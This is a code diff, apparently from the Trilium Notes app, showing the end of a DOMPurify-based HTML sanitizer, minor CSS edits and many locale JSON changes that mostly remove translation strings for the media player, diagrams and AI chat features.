* Sanitizes HTML content for safe rendering in the DOM.
*
* This function should be called on all user-provided HTML content before
* inserting it into the DOM via dangerouslySetInnerHTML, jQuery .html(),
* or Element.innerHTML.
*
* The sanitizer preserves rich-text formatting produced by CKEditor
* (bold, italic, links, tables, images, code blocks, etc.) while
* stripping XSS vectors (script tags, event handlers, javascript: URIs).
*
* @param dirtyHtml - The untrusted HTML string to sanitize.
* @returns A sanitized HTML string safe for DOM insertion.
*/
export function sanitizeNoteContentHtml(dirtyHtml: string): string {
if (!dirtyHtml) {
return dirtyHtml;
}
return DOMPurify.sanitize(dirtyHtml, PURIFY_CONFIG) as string;
}
export default {
sanitizeNoteContentHtml
};

View File

@@ -922,7 +922,6 @@ export default {
parseDate,
formatDateISO,
formatDateTime,
formatTime,
formatTimeInterval,
formatSize,
localNowDateTime,

View File

@@ -1750,11 +1750,8 @@ body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
justify-content: space-between;
align-items: baseline;
font-weight: bold;
color: var(--muted-text-color) !important;
}
#right-pane .card-header-title {
text-transform: uppercase;
color: var(--muted-text-color) !important;
}
#right-pane .card-header-buttons {

View File

@@ -93,10 +93,7 @@
"digits": "dígits",
"inheritable": "Heretable",
"delete": "Suprimeix",
"color_type": "Color",
"textarea": "Text multi linia",
"date_time": "Data i hora",
"precision_title": "Quants dígits han d'estar disponibles per a coma flotant a la interfície de configuració."
"color_type": "Color"
},
"rename_label": {
"to": "Per"

View File

@@ -446,8 +446,7 @@
"and_more": "... 以及另外 {{count}} 个。",
"print_landscape": "导出为 PDF 时,将页面方向更改为横向而不是纵向。",
"print_page_size": "导出为 PDF 时,更改页面大小。支持的值:<code>A0</code>、<code>A1</code>、<code>A2</code>、<code>A3</code>、<code>A4</code>、<code>A5</code>、<code>A6</code>、<code>Legal</code>、<code>Letter</code>、<code>Tabloid</code>、<code>Ledger</code>。",
"color_type": "颜色",
"textarea": "多行文本"
"color_type": "颜色"
},
"attribute_editor": {
"help_text_body1": "要添加标签,只需输入例如 <code>#rock</code> 或者如果您还想添加值,则例如 <code>#year = 2020</code>",
@@ -2168,52 +2167,5 @@
},
"setup_form": {
"more_info": "了解更多"
},
"media": {
"play": "播放(空格)",
"pause": "暂停(空格)",
"back-10s": "后退10秒左箭头键",
"forward-30s": "前进30秒",
"mute": "静音M",
"unmute": "取消静音M",
"playback-speed": "播放速度",
"loop": "循环播放",
"disable-loop": "禁用循环播放",
"rotate": "旋转",
"picture-in-picture": "画中画",
"exit-picture-in-picture": "退出画中画",
"fullscreen": "全屏F",
"exit-fullscreen": "退出全屏",
"unsupported-format": "此文件格式不支持媒体预览:\n{{mime}}",
"zoom-to-fit": "缩放以填充",
"zoom-reset": "重置缩放以填充"
},
"mermaid": {
"sample_diagrams": "示例图:",
"sample_flowchart": "流程图",
"sample_class": "类图",
"sample_sequence": "时序图",
"sample_entity_relationship": "实体关系图",
"sample_state": "状态图",
"sample_mindmap": "思维导图",
"sample_architecture": "架构图",
"sample_block": "模块图",
"sample_c4": "C4 图",
"sample_gantt": "甘特图",
"sample_git": "Git 流程图",
"sample_kanban": "看板图",
"sample_packet": "数据包图",
"sample_pie": "饼图",
"sample_quadrant": "象限图",
"sample_radar": "雷达图",
"sample_requirement": "需求图",
"sample_sankey": "桑基图",
"sample_timeline": "时间轴图",
"sample_treemap": "树形图",
"sample_user_journey": "用户旅程图",
"sample_xy": "散点图",
"sample_venn": "韦恩图",
"sample_ishikawa": "鱼骨图",
"placeholder": "输入你的美人鱼图的内容,或者使用下面的示例图之一。"
}
}

View File

@@ -446,8 +446,7 @@
"and_more": "... und {{count}} mehr.",
"print_landscape": "Beim Export als PDF, wird die Seitenausrichtung Querformat anstatt Hochformat verwendet.",
"print_page_size": "Beim Export als PDF, wird die Größe der Seite angepasst. Unterstützte Größen: <code>A0</code>, <code>A1</code>, <code>A2</code>, <code>A3</code>, <code>A4</code>, <code>A5</code>, <code>A6</code>, <code>Legal</code>, <code>Letter</code>, <code>Tabloid</code>, <code>Ledger</code>.",
"color_type": "Farbe",
"textarea": "Mehrzeilen-Text"
"color_type": "Farbe"
},
"attribute_editor": {
"help_text_body1": "Um ein Label hinzuzufügen, gebe einfach z.B. ein. <code>#rock</code> oder wenn du auch einen Wert hinzufügen möchten, dann z.B. <code>#year = 2024</code>",

View File

@@ -1157,9 +1157,7 @@
"title": "Experimental Options",
"disclaimer": "These options are experimental and may cause instability. Use with caution.",
"new_layout_name": "New Layout",
"new_layout_description": "Try out the new layout for a more modern look and improved usability. Subject to heavy change in the upcoming releases.",
"llm_name": "AI / LLM Chat",
"llm_description": "Enable the AI chat sidebar and LLM chat notes powered by large language models."
"new_layout_description": "Try out the new layout for a more modern look and improved usability. Subject to heavy change in the upcoming releases."
},
"fonts": {
"theme_defined": "Theme defined",
@@ -1601,7 +1599,6 @@
"geo-map": "Geo Map",
"beta-feature": "Beta",
"ai-chat": "AI Chat",
"llm-chat": "AI Chat",
"task-list": "Task List",
"new-feature": "New",
"collections": "Collections",
@@ -1613,49 +1610,6 @@
"toggle-on-hint": "Note is not protected, click to make it protected",
"toggle-off-hint": "Note is protected, click to make it unprotected"
},
"llm_chat": {
"placeholder": "Type a message...",
"send": "Send",
"sending": "Sending...",
"empty_state": "Start a conversation by typing a message below.",
"searching_web": "Searching the web...",
"web_search": "Web search",
"note_tools": "Note access",
"sources": "Sources",
"extended_thinking": "Extended thinking",
"legacy_models": "Legacy models",
"thinking": "Thinking...",
"thought_process": "Thought process",
"tool_calls": "{{count}} tool call(s)",
"input": "Input",
"result": "Result",
"error": "Error",
"tool_error": "failed",
"total_tokens": "{{total}} tokens",
"tokens_detail": "{{prompt}} prompt + {{completion}} completion",
"tokens_used": "{{prompt}} prompt + {{completion}} completion = {{total}} tokens",
"tokens_used_with_cost": "{{prompt}} prompt + {{completion}} completion = {{total}} tokens (~${{cost}})",
"tokens_used_with_model": "{{model}}: {{prompt}} prompt + {{completion}} completion = {{total}} tokens",
"tokens_used_with_model_and_cost": "{{model}}: {{prompt}} prompt + {{completion}} completion = {{total}} tokens (~${{cost}})",
"tokens": "tokens",
"context_used": "{{percentage}}% used",
"note_context_enabled": "Click to disable note context: {{title}}",
"note_context_disabled": "Click to include current note in context",
"no_provider_message": "No AI provider configured. Add one to start chatting.",
"add_provider": "Add AI Provider",
"role_user": "You",
"role_assistant": "Assistant"
},
"sidebar_chat": {
"title": "AI Chat",
"launcher_title": "Open AI Chat",
"new_chat": "Start new chat",
"save_chat": "Save chat to notes",
"empty_state": "Start a conversation",
"history": "Chat history",
"recent_chats": "Recent chats",
"no_chats": "No previous chats"
},
"shared_switch": {
"shared": "Shared",
"toggle-on-title": "Share the note",
@@ -2276,55 +2230,5 @@
"sample_xy": "XY",
"sample_venn": "Venn",
"sample_ishikawa": "Ishikawa"
},
"mind-map": {
"addChild": "Add child",
"addParent": "Add parent",
"addSibling": "Add sibling",
"removeNode": "Remove node",
"focus": "Focus Mode",
"cancelFocus": "Cancel Focus Mode",
"moveUp": "Move up",
"moveDown": "Move down",
"link": "Link",
"linkBidirectional": "Bidirectional Link",
"clickTips": "Please click the target node",
"summary": "Summary"
},
"llm": {
"settings_title": "AI / LLM",
"settings_description": "Configure AI and Large Language Model integrations.",
"add_provider": "Add Provider",
"add_provider_title": "Add AI Provider",
"configured_providers": "Configured Providers",
"no_providers_configured": "No providers configured yet.",
"provider_name": "Name",
"provider_type": "Provider",
"actions": "Actions",
"delete_provider": "Delete",
"delete_provider_confirmation": "Are you sure you want to delete the provider \"{{name}}\"?",
"api_key": "API Key",
"api_key_placeholder": "Enter your API key",
"cancel": "Cancel",
"mcp_title": "MCP (Model Context Protocol)",
"mcp_enabled": "Enable MCP server",
"mcp_enabled_description": "Expose a Model Context Protocol (MCP) endpoint so that AI coding assistants (e.g. Claude Code, GitHub Copilot) can read and modify your notes. The endpoint is only accessible from localhost.",
"tools": {
"search_notes": "Search notes",
"read_note": "Read note",
"update_note_content": "Update note content",
"append_to_note": "Append to note",
"create_note": "Create note",
"get_current_note": "Read current note",
"get_attributes": "Get attributes",
"get_attribute": "Get attribute",
"set_attribute": "Set attribute",
"delete_attribute": "Delete attribute",
"get_child_notes": "Get child notes",
"get_subtree": "Get subtree",
"load_skill": "Load skill",
"web_search": "Web search",
"note_in_parent": "<Note/> in <Parent/>"
}
}
}

View File

@@ -28,10 +28,7 @@
},
"widget-render-error": {
"title": "Rendu impossible d'un widget React custom"
},
"widget-missing-parent": "Le widget personnalisé ne possède pas la propriété obligatoire '{{property}}'.\n\nSi ce script est destiné à être exécuté sans élément dinterface utilisateur, utilisez plutôt '#run=frontendStartup'.",
"open-script-note": "Ouvrir la note du script",
"scripting-error": "Erreur de script personnalisée: {{title}}"
}
},
"add_link": {
"add_link": "Ajouter un lien",
@@ -446,8 +443,7 @@
"and_more": "... et {{count}} plus.",
"print_landscape": "Lors de l'exportation en PDF, change l'orientation de la page en paysage au lieu de portrait.",
"print_page_size": "Lors de l'exportation en PDF, change la taille de la page. Valeurs supportées : <code>A0</code>, <code>A1</code>, <code>A2</code>, <code>A3</code>, <code>A4</code>, <code>A5</code>, <code>A6</code>, <code>Legal</code>, <code>Letter</code>, <code>Tabloid</code>, <code>Ledger</code>.",
"color_type": "Couleur",
"textarea": "Texte multiligne"
"color_type": "Couleur"
},
"attribute_editor": {
"help_text_body1": "Pour ajouter un label, tapez simplement par ex. <code>#rock</code>, ou si vous souhaitez également ajouter une valeur, tapez par ex. <code>#année = 2020</code>",
@@ -663,8 +659,7 @@
"show-cheatsheet": "Afficher l'aide rapide",
"toggle-zen-mode": "Zen Mode",
"new-version-available": "Nouvelle mise à jour disponible",
"download-update": "Obtenir la version {{latestVersion}}",
"search_notes": "Rechercher notes"
"download-update": "Obtenir la version {{latestVersion}}"
},
"zen_mode": {
"button_exit": "Sortir du Zen mode"
@@ -708,8 +703,7 @@
"advanced": "Avancé",
"export_as_image": "Exporter en tant qu'image",
"export_as_image_png": "PNG",
"export_as_image_svg": "SVG (vectoriel)",
"note_map": "Note Carte"
"export_as_image_svg": "SVG (vectoriel)"
},
"onclick_button": {
"no_click_handler": "Le widget bouton '{{componentId}}' n'a pas de gestionnaire de clic défini"
@@ -747,7 +741,7 @@
"button_title": "Exporter le diagramme au format SVG"
},
"relation_map_buttons": {
"create_child_note_title": "Créer une note enfant et l'ajouter à la carte",
"create_child_note_title": "Créer une nouvelle note enfant et l'ajouter à cette carte de relation",
"reset_pan_zoom_title": "Réinitialiser le panoramique et le zoom aux coordonnées et à la position initiales",
"zoom_in_title": "Zoomer",
"zoom_out_title": "Zoom arrière"
@@ -763,9 +757,7 @@
"delete_this_note": "Supprimer cette note",
"error_cannot_get_branch_id": "Impossible d'obtenir branchId pour notePath '{{notePath}}'",
"error_unrecognized_command": "Commande non reconnue {{command}}",
"note_revisions": "Révision de la note",
"backlinks": "Rétro-liens",
"content_language_switcher": "Langue du contenu: {{language}}"
"note_revisions": "Révision de la note"
},
"note_icon": {
"change_note_icon": "Changer l'icône de note",
@@ -774,12 +766,7 @@
"filter": "Filtre",
"filter-none": "Toutes les icônes",
"filter-default": "Icônes par défaut",
"icon_tooltip": "{{name}}\nPack d'icônes : {{iconPack}}",
"no_results": "Aucune icône trouvée.",
"search_placeholder_one": "Rechercher {{number}} icônes dans {{count}} packs",
"search_placeholder_many": "Rechercher {{number}} icônes dans {{count}} packs",
"search_placeholder_other": "Rechercher les icônes {{number}} dans les paquets {{count}}",
"search_placeholder_filtered": "Rechercher {{number}} icônes dans {{name}}"
"icon_tooltip": "{{name}}\nPack d'icônes : {{iconPack}}"
},
"basic_properties": {
"note_type": "Type de note",
@@ -806,8 +793,7 @@
"expand_tooltip": "Développe les éléments enfants directs de cette collection (à un niveau). Pour plus d'options, appuyez sur la flèche à droite.",
"expand_first_level": "Développer les enfants directs",
"expand_nth_level": "Développer sur {{depth}} niveaux",
"expand_all_levels": "Développer tous les niveaux",
"hide_child_notes": "Masquer les notes enfants dans larborescence"
"expand_all_levels": "Développer tous les niveaux"
},
"edited_notes": {
"no_edited_notes_found": "Aucune note modifiée ce jour-là...",
@@ -820,7 +806,7 @@
"file_type": "Type de fichier",
"file_size": "Taille du fichier",
"download": "Télécharger",
"open": "Ouvrir dans une nouvelle fenêtre",
"open": "Ouvrir",
"upload_new_revision": "Téléverser une nouvelle version",
"upload_success": "Une nouvelle version de fichier a été téléversée.",
"upload_failed": "Le téléversement d'une nouvelle version de fichier a échoué.",
@@ -840,8 +826,7 @@
},
"inherited_attribute_list": {
"title": "Attributs hérités",
"no_inherited_attributes": "Aucun attribut hérité.",
"none": "aucun"
"no_inherited_attributes": "Aucun attribut hérité."
},
"note_info_widget": {
"note_id": "Identifiant de la note",
@@ -918,8 +903,7 @@
"unknown_search_option": "Option de recherche inconnue {{searchOptionName}}",
"search_note_saved": "La note de recherche a été enregistrée dans {{- notePathTitle}}",
"actions_executed": "Les actions ont été exécutées.",
"view_options": "Afficher les options:",
"option": "option"
"view_options": "Afficher les options:"
},
"similar_notes": {
"title": "Notes similaires",
@@ -1013,7 +997,7 @@
"no_attachments": "Cette note ne contient aucune pièce jointe."
},
"book": {
"no_children_help": "Cette collection ne contient pas de notes enfants, il n'y a donc rien à afficher.",
"no_children_help": "Cette note de type Livre n'a aucune note enfant, donc il n'y a rien à afficher. Consultez le <a href=\"https://triliumnext.github.io/Docs/Wiki/book-note.html\">wiki</a> pour plus de détails.",
"drag_locked_title": "Edition verrouillée",
"drag_locked_message": "Le glisser-déposer n'est pas autorisé car l'édition de cette collection est verrouillé."
},
@@ -1383,8 +1367,7 @@
"description": "Description",
"reload_app": "Recharger l'application pour appliquer les modifications",
"set_all_to_default": "Réinitialiser aux valeurs par défaut",
"confirm_reset": "Voulez-vous vraiment réinitialiser tous les raccourcis clavier par défaut ?",
"no_results": "Aucun raccourci correspondant à '{{filter}}'"
"confirm_reset": "Voulez-vous vraiment réinitialiser tous les raccourcis clavier par défaut ?"
},
"spellcheck": {
"title": "Vérification orthographique",
@@ -1419,7 +1402,7 @@
"will_be_deleted_in": "Cette pièce jointe sera automatiquement supprimée dans {{time}}",
"will_be_deleted_soon": "Cette pièce jointe sera bientôt supprimée automatiquement",
"deletion_reason": ", car la pièce jointe n'est pas liée dans le contenu de la note. Pour empêcher la suppression, ajoutez à nouveau le lien de la pièce jointe dans le contenu d'une note ou convertissez la pièce jointe en note.",
"role_and_size": "Rôle : {{role}}, Taille : {{size}}, MIME: {{- mimeType}}",
"role_and_size": "Rôle : {{role}}, Taille : {{size}}",
"link_copied": "Lien de pièce jointe copié dans le presse-papiers.",
"unrecognized_role": "Rôle de pièce jointe « {{role}} » non reconnu."
},
@@ -1470,13 +1453,10 @@
"import-into-note": "Importer dans la note",
"apply-bulk-actions": "Appliquer des Actions groupées",
"converted-to-attachments": "Les notes {{count}} ont été converties en pièces jointes.",
"convert-to-attachment-confirm": "Êtes-vous sûr de vouloir convertir les notes sélectionnées en pièces jointes de leurs notes parentales? Cette opération s'applique uniquement aux notes d'image, les autres notes seront ignorées.",
"convert-to-attachment-confirm": "Êtes-vous sûr de vouloir convertir les notes sélectionnées en pièces jointes de leurs notes parentes ?",
"archive": "Archive",
"unarchive": "Désarchiver",
"open-in-popup": "Modification rapide",
"open-in-a-new-window": "Ouvrir dans une nouvelle fenêtre",
"hide-subtree": "Masquer le sous-arbre",
"show-subtree": "Afficher le sous-arbre"
"open-in-popup": "Modification rapide"
},
"shared_info": {
"shared_publicly": "Cette note est partagée publiquement sur {{- link}}.",
@@ -1505,10 +1485,7 @@
"task-list": "Liste de tâches",
"book": "Collection",
"new-feature": "Nouveau",
"collections": "Collections",
"ai-chat": "Chat IA",
"llm-chat": "Chat AI",
"spreadsheet": "Feuille de calcul"
"collections": "Collections"
},
"protect_note": {
"toggle-on": "Protéger la note",
@@ -1857,7 +1834,7 @@
"book_properties_config": {
"hide-weekends": "Masquer les week-ends",
"display-week-numbers": "Afficher les numéros de semaine",
"map-style": "Style de carte",
"map-style": "Style de carte :",
"max-nesting-depth": "Profondeur d'imbrication maximale :",
"raster": "Trame",
"vector_light": "Vecteur (clair)",
@@ -1996,9 +1973,7 @@
"title": "Options expérimentales",
"disclaimer": "Ces options sont expérimentales et peuvent provoquer une instabilité. Utilisez avec prudence.",
"new_layout_name": "Nouvelle mise en page",
"new_layout_description": "Essayez la nouvelle mise en page pour un look plus moderne et un usage améliorée. Sous réserve de changements importants dans les prochaines versions.",
"llm_name": "AI / LLM Chat",
"llm_description": "Activer la barre de chat AI et les notes de chat LLM alimentées par de grands modèles de langage."
"new_layout_description": "Essayez la nouvelle mise en page pour un look plus moderne et un usage améliorée. Sous réserve de changements importants dans les prochaines versions."
},
"read-only-info": {
"read-only-note": "Vous consultez actuellement une note en lecture seule.",
@@ -2007,57 +1982,5 @@
},
"calendar_view": {
"delete_note": "Effacer la note..."
},
"media": {
"play": "Lire (Espace)",
"pause": "Pause (Espace)",
"back-10s": "Retour arrière 10s (flèche gauche)",
"forward-30s": "Avance 30s",
"mute": "Silence (M)",
"unmute": "Réactiver le son (M)",
"playback-speed": "Vitesse de lecture",
"loop": "Boucle",
"disable-loop": "Désactiver la boucle",
"rotate": "Rotation",
"picture-in-picture": "Image dans l'image",
"exit-picture-in-picture": "Sortir de Image dans l'image",
"fullscreen": "Plein-écran (F)",
"exit-fullscreen": "Sortir du mode plein-écran",
"unsupported-format": "L'aperçu multimédia n'est pas disponible pour ce format de fichier:\n{{mime}}",
"zoom-to-fit": "Zoom pour remplir",
"zoom-reset": "Annuler zoom pour remplir"
},
"render": {
"setup_title": "Afficher du HTML personnalisé ou Preact JSX dans cette note",
"setup_create_sample_preact": "Créer un exemple de note avec Preact",
"setup_create_sample_html": "Créer un exemple de note avec HTML",
"setup_sample_created": "Un exemple de note a été créé en tant que note enfant.",
"disabled_description": "Ces notes de rendu proviennent d'une source externe. Pour vous protéger de contenu malveillant, elle n'est pas activée par défaut. Assurez-vous de faire confiance à la source avant de lactiver.",
"disabled_button_enable": "Activer la note de rendu"
},
"web_view_setup": {
"title": "Créez la vue de la page Web directement dans Trilium",
"url_placeholder": "Entrez ou collez l'adresse du site Web, par exemple https://triliumnotes.org",
"create_button": "Créer une vue Web",
"invalid_url_title": "Adresse invalide",
"invalid_url_message": "Insérer une adresse Web valide, par exemple https://triliumnotes.org.",
"disabled_description": "Cette vue Web a été importée à partir d'une source externe. Pour vous protéger du phishing ou du contenu malveillant, elle ne se charge pas automatiquement. Vous pouvez l'activer si vous faites confiance à la source.",
"disabled_button_enable": "Activer la vue Web"
},
"llm_chat": {
"placeholder": "Tapez un message...",
"send": "Envoyer",
"sending": "Envoi...",
"empty_state": "Démarrez une conversation en tapant un message ci-dessous.",
"searching_web": "Recherche sur le Web...",
"web_search": "Recherche sur le Web",
"note_tools": "Accès aux notes",
"sources": "Sources",
"extended_thinking": "Réflexion étendue",
"legacy_models": "Modèles hérités",
"thinking": "Réflexion...",
"thought_process": "Processus de réflexion",
"tool_calls": "{{count}} appel(s) d'outil",
"input": "Entrée"
}
}

View File

@@ -477,8 +477,7 @@
"and_more": "... agus {{count}} eile.",
"print_landscape": "Agus é á onnmhairiú go PDF, athraítear treoshuíomh an leathanaigh go tírdhreach seachas portráid.",
"print_page_size": "Agus é á easpórtáil go PDF, athraítear méid an leathanaigh. Luachanna tacaithe: <code>A0</code>, <code>A1</code>, <code>A2</code>, <code>A3</code>, <code>A4</code>, <code>A5</code>, <code>A6</code>, <code>Legal</code>, <code>Letter</code>, <code>Tabloid</code>, <code>Ledger</code>.",
"color_type": "Dath",
"textarea": "Téacs Il-líne"
"color_type": "Dath"
},
"attribute_editor": {
"help_text_body1": "Chun lipéad a chur leis, clóscríobh m.sh. <code>#rock</code> nó más mian leat luach a chur leis freisin ansin m.sh. <code>#year = 2020</code>",

View File

@@ -520,7 +520,7 @@
"custom_name_label": "Nome del motore di ricerca personalizzato",
"custom_name_placeholder": "Personalizza il nome del motore di ricerca",
"custom_url_label": "L'URL del motore di ricerca personalizzato deve includere {keyword} come segnaposto per il termine di ricerca.",
"custom_url_placeholder": "Personalizza indirizzo url del motore di ricerca"
"custom_url_placeholder": "Personalizza l'URL del motore di ricerca"
},
"sql_table_schemas": {
"tables": "Tabelle"
@@ -917,8 +917,7 @@
"print_landscape": "Quando si esporta in PDF, cambia l'orientamento della pagina da verticale a orizzontale.",
"print_page_size": "Quando si esporta in PDF, modifica le dimensioni della pagina. Valori supportati: <code>A0</code>, <code>A1</code>, <code>A2</code>, <code>A3</code>, <code>A4</code>, <code>A5</code>, <code>A6</code>, <code>Legal</code>, <code>Letter</code>, <code>Tabloid</code>, <code>Ledger</code>.",
"color_type": "Colore",
"share_root": "segna la nota che viene servita su /share root.",
"textarea": "Testo su più righe"
"share_root": "segna la nota che viene servita su /share root."
},
"attribute_editor": {
"help_text_body1": "Per aggiungere un'etichetta, basta digitare ad esempio <code>#rock</code> oppure, se si desidera aggiungere anche un valore, ad esempio <code>#year = 2020</code>",
@@ -1718,8 +1717,7 @@
"new-feature": "Nuovo",
"collections": "Collezioni",
"ai-chat": "Chat con IA",
"spreadsheet": "Foglio di calcolo",
"llm-chat": "Chat con IA"
"spreadsheet": "Foglio di calcolo"
},
"protect_note": {
"toggle-on": "Proteggi la nota",
@@ -2052,9 +2050,7 @@
"title": "Opzioni sperimentali",
"disclaimer": "Queste opzioni sono sperimentali e potrebbero causare instabilità. Usare con cautela.",
"new_layout_name": "Nuovo layout",
"new_layout_description": "Prova il nuovo layout per un look più moderno e una maggiore usabilità. Soggetto a modifiche significative nelle prossime versioni.",
"llm_name": "Chat con IA / LLM",
"llm_description": "Attiva la barra laterale della chat con IA e le note della chat LLM basate su modelli linguistici di grandi dimensioni."
"new_layout_description": "Prova il nuovo layout per un look più moderno e una maggiore usabilità. Soggetto a modifiche significative nelle prossime versioni."
},
"server": {
"unknown_http_error_title": "Errore di comunicazione con il server",
@@ -2201,111 +2197,5 @@
},
"setup_form": {
"more_info": "Per saperne di più"
},
"media": {
"play": "Gioca (Barra spaziatrice)",
"pause": "Pausa (Barra spaziatrice)",
"back-10s": "Indietro di 10 (tasto freccia sinistra)",
"forward-30s": "Avanti 30s",
"mute": "Muto (M)",
"unmute": "Riattiva audio (M)",
"playback-speed": "Velocità di riproduzione",
"loop": "Ciclo",
"disable-loop": "Disattiva il ciclo",
"rotate": "Ruota",
"picture-in-picture": "Immagine nell'immagine",
"exit-picture-in-picture": "Esci dalla modalità picture-in-picture",
"fullscreen": "Schermo intero (F)",
"exit-fullscreen": "Esci dalla modalità a schermo intero",
"unsupported-format": "Per questo formato di file non è disponibile l'anteprima multimediale:\n{{mime}}",
"zoom-to-fit": "Ingrandisci per riempire",
"zoom-reset": "Ripristina lo zoom a schermo intero"
},
"mermaid": {
"placeholder": "Digita il contenuto del tuo diagramma Mermaid oppure utilizza uno dei diagrammi di esempio riportati di seguito.",
"sample_diagrams": "Esempi di diagrammi:",
"sample_flowchart": "Diagramma di flusso",
"sample_class": "Classe",
"sample_sequence": "Sequenza",
"sample_entity_relationship": "Relazioni tra entità",
"sample_state": "Stato",
"sample_mindmap": "Mappa mentale",
"sample_architecture": "Architettura",
"sample_block": "Blocco",
"sample_c4": "C4",
"sample_gantt": "Gantt",
"sample_git": "Git",
"sample_kanban": "Kanban",
"sample_packet": "Packet",
"sample_pie": "Torta",
"sample_quadrant": "Quadrante",
"sample_radar": "Radar",
"sample_requirement": "Requisito",
"sample_sankey": "Chiave",
"sample_timeline": "Cronologia",
"sample_treemap": "Treemap",
"sample_user_journey": "Percorso dell'utente",
"sample_xy": "XY",
"sample_venn": "Venn",
"sample_ishikawa": "Ishikawa"
},
"llm_chat": {
"placeholder": "Scrivi un messaggio...",
"send": "Invia",
"sending": "Invio in corso...",
"empty_state": "Inizia una conversazione scrivendo un messaggio qui sotto.",
"searching_web": "Ricerca sul web...",
"web_search": "Ricerca sul web",
"note_tools": "Nota di accesso",
"sources": "Fonti",
"extended_thinking": "Riflessioni approfondite",
"legacy_models": "Modelli precedenti",
"thinking": "Sto riflettendo...",
"thought_process": "Processo mentale",
"tool_calls": "{{count}} chiamata/e di funzione",
"input": "Dati in ingresso",
"result": "Risultato",
"error": "Errore",
"tool_error": "fallito",
"total_tokens": "{{total}} gettoni",
"tokens_detail": "{{prompt}} prompt + {{completion}} completamento",
"tokens_used": "{{prompt}} prompt + {{completion}} completamento = {{total}} token",
"tokens_used_with_cost": "{{prompt}} prompt + {{completion}} completamento = {{total}} token (~${{cost}})",
"tokens_used_with_model": "{{model}}: {{prompt}} prompt + {{completion}} completamento = {{total}} token",
"tokens_used_with_model_and_cost": "{{model}}: {{prompt}} prompt + {{completion}} completamento = {{total}} token (~${{cost}})",
"tokens": "tokens",
"context_used": "{{percentage}}% utilizzato",
"note_context_enabled": "Clicca qui per disattivare il contesto della nota: {{title}}",
"note_context_disabled": "Clicca per includere la nota corrente nel contesto",
"no_provider_message": "Non è stato configurato alcun fornitore di IA. Aggiungine uno per iniziare a chattare.",
"add_provider": "Aggiungi un fornitore di IA",
"role_user": "Tu",
"role_assistant": "Assistente"
},
"sidebar_chat": {
"title": "Chat AI",
"launcher_title": "Apri Chat AI",
"new_chat": "Inizia una nuova chat",
"save_chat": "Salva la chat negli appunti",
"empty_state": "Avvia una conversazione",
"history": "Cronologia delle chat",
"recent_chats": "Conversazioni recenti",
"no_chats": "Nessuna conversazione precedente"
},
"llm": {
"settings_title": "AI / LLM",
"settings_description": "Configurare le integrazioni con l'intelligenza artificiale e i modelli linguistici di grandi dimensioni.",
"add_provider": "Aggiungi fornitore",
"add_provider_title": "Aggiungi un fornitore di IA",
"configured_providers": "Fornitori configurati",
"no_providers_configured": "Non sono stati ancora configurati fornitori.",
"provider_name": "Nome",
"provider_type": "Fornitore",
"actions": "Azioni",
"delete_provider": "Elimina",
"delete_provider_confirmation": "Sei sicuro di voler eliminare il provider \"{{name}}\"?",
"api_key": "Chiave API",
"api_key_placeholder": "Inserisci la tua chiave API",
"cancel": "Annulla"
}
}

View File

@@ -117,7 +117,7 @@
"no_path_to_clone_to": "Brak ścieżki do sklonowania.",
"note_cloned": "Notatka \"{{clonedTitle}}\" została sklonowana do \"{{targetTitle}}\"",
"help_on_links": "Pomoc dotycząca linków",
"target_parent_note": "Docelowa notatka pierwotna"
"target_parent_note": "Docelowa notatka nadrzędna"
},
"help": {
"title": "Ściągawka",
@@ -126,7 +126,7 @@
"collapseExpand": "zwiń/rozwiń węzeł",
"notSet": "nie ustawiono",
"goBackForwards": "idź wstecz / do przodu w historii",
"showJumpToNoteDialog": "pokaż <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/note-navigation.html#jump-to-note\">\"Przejdź do\"</a>",
"showJumpToNoteDialog": "pokaż okno <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/note-navigation.html#jump-to-note\">\"Przejdź do\"</a>",
"scrollToActiveNote": "przewiń do aktywnej notatki",
"jumpToParentNote": "przejdź do notatki nadrzędnej",
"collapseWholeTree": "zwiń całe drzewo notatek",
@@ -402,8 +402,7 @@
"and_more": "... i {{count}} więcej.",
"print_landscape": "Podczas eksportowania do PDF zmienia orientację strony na poziomą zamiast pionowej.",
"print_page_size": "Podczas eksportowania do PDF zmienia rozmiar strony. Obsługiwane wartości: <code>A0</code>, <code>A1</code>, <code>A2</code>, <code>A3</code>, <code>A4</code>, <code>A5</code>, <code>A6</code>, <code>Legal</code>, <code>Letter</code>, <code>Tabloid</code>, <code>Ledger</code>.",
"color_type": "Kolor",
"textarea": "Wiele linii tekstu"
"color_type": "Kolor"
},
"import": {
"importIntoNote": "Importuj do notatki",
@@ -1614,7 +1613,7 @@
"password_changed_success": "Hasło zostało zmienione. Trilium zostanie przeładowane po naciśnięciu OK."
},
"multi_factor_authentication": {
"title": "Uwierzytelnianie wieloskładnikowe",
"title": "Uwierzytelnianie wieloskładnikowe (MFA)",
"description": "Uwierzytelnianie wieloskładnikowe (MFA) dodaje dodatkową warstwę zabezpieczeń do Twojego konta. Zamiast tylko wpisywać hasło do logowania, MFA wymaga podania jednego lub więcej dodatkowych dowodów tożsamości. W ten sposób, nawet jeśli ktoś zdobędzie Twoje hasło, nadal nie będzie mógł uzyskać dostępu do Twojego konta bez drugiej informacji. To jak dodanie dodatkowego zamka do drzwi, utrudniającego włamanie.<br><br>Proszę postępować zgodnie z poniższymi instrukcjami, aby włączyć MFA. Jeśli nie skonfigurujesz poprawnie, logowanie powróci do samego hasła.",
"mfa_enabled": "Włącz uwierzytelnianie wieloskładnikowe",
"mfa_method": "Metoda MFA",
@@ -1629,7 +1628,7 @@
"totp_secret_generated": "Sekret TOTP wygenerowany",
"totp_secret_warning": "Proszę zapisać wygenerowany sekret w bezpiecznym miejscu. Nie zostanie pokazany ponownie.",
"totp_secret_regenerate_confirm": "Czy na pewno chcesz ponownie wygenerować sekret TOTP? To unieważni poprzedni sekret TOTP i wszystkie istniejące kody odzyskiwania.",
"recovery_keys_title": "Klucze odzyskiwania logowania jednokrotnego",
"recovery_keys_title": "Klucze odzyskiwania logowania jednokrotnego (SSO)",
"recovery_keys_description": "Klucze odzyskiwania logowania jednokrotnego służą do logowania w przypadku braku dostępu do kodów Authenticator.",
"recovery_keys_description_warning": "Klucze odzyskiwania nie zostaną pokazane ponownie po opuszczeniu strony, przechowuj je w bezpiecznym miejscu.<br>Po użyciu klucza odzyskiwania nie można go użyć ponownie.",
"recovery_keys_error": "Błąd generowania kodów odzyskiwania",
@@ -1767,7 +1766,7 @@
"book": "Kolekcja",
"mermaid-diagram": "Diagram Mermaid",
"canvas": "Płótno",
"web-view": "Widok strony web",
